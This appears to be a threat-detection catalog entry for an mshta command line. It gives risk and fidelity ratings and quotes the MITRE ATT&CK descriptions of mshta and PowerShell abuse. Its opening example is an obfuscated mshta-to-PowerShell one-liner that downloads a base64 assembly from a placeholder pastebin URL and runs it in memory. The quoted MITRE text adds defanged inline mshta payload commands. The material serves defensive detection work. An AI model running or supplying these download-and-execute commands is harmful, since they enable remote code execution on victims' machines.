Command Line
mshta.exe vbscript:CreateObject(""Wscript.Shell"").Run(""powershell.exe -noexit -command [Reflection.Assembly]::Load([System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString(\'h\'+\'x\'+\'x\'+\'p\'+\'s:\'+\'//p\'+\'a\'+\'s\'+\'t\'+\'e\'+\'b\'+\'i\'+\'n\'+\'.\'+\'c\'+\'o\'+\'m\'+\'/\'+\'r\'+\'a\'+\'w\'+\'/\'+\'XXXXXXXX\'))).EntryPoint.Invoke($N,$N)"",0,true)(window.close)
Description
Example of mshta abuse combined with PowerShell to download and execute a remote payload.
Risk
High
Risk Reason
MSHTA is not commonly used by normal users or IT operations personnel - as such, executions of arbitrary HTA Files or Scripts should be closely scrutinized for suspicious activity, especially remote file loads.
Fidelity
High
Fidelity Reason
This type of activity appears very infrequently and can typically be regarded with a low false-positive rate, depending on the environments IT operations.
Operating Systems
Killchain Phases
References
MITRE ATT&CK TECHNIQUES
URL: https://attack.mitre.org/techniques/T1218/005
Description: Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017)
Mshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)
Files may be executed by mshta.exe through an inline script: mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))
They may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta
Mshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)
Tactics:
URL: https://attack.mitre.org/techniques/T1059/001
Description: Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.(Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
PowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.
A number of PowerShell-based offensive testing tools are available, including [Empire](https://attack.mitre.org/software/S0363), [PowerSploit](https://attack.mitre.org/software/S0194), [PoshC2](https://attack.mitre.org/software/S0378), and PSAttack.(Citation: Github PSAttack)
PowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to PowerShell's underlying System.Management.Automation assembly DLL exposed through the .NET framework and Windows Common Language Interface (CLI).(Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)(Citation: Microsoft PSfromCsharp APR 2014)
Tactics: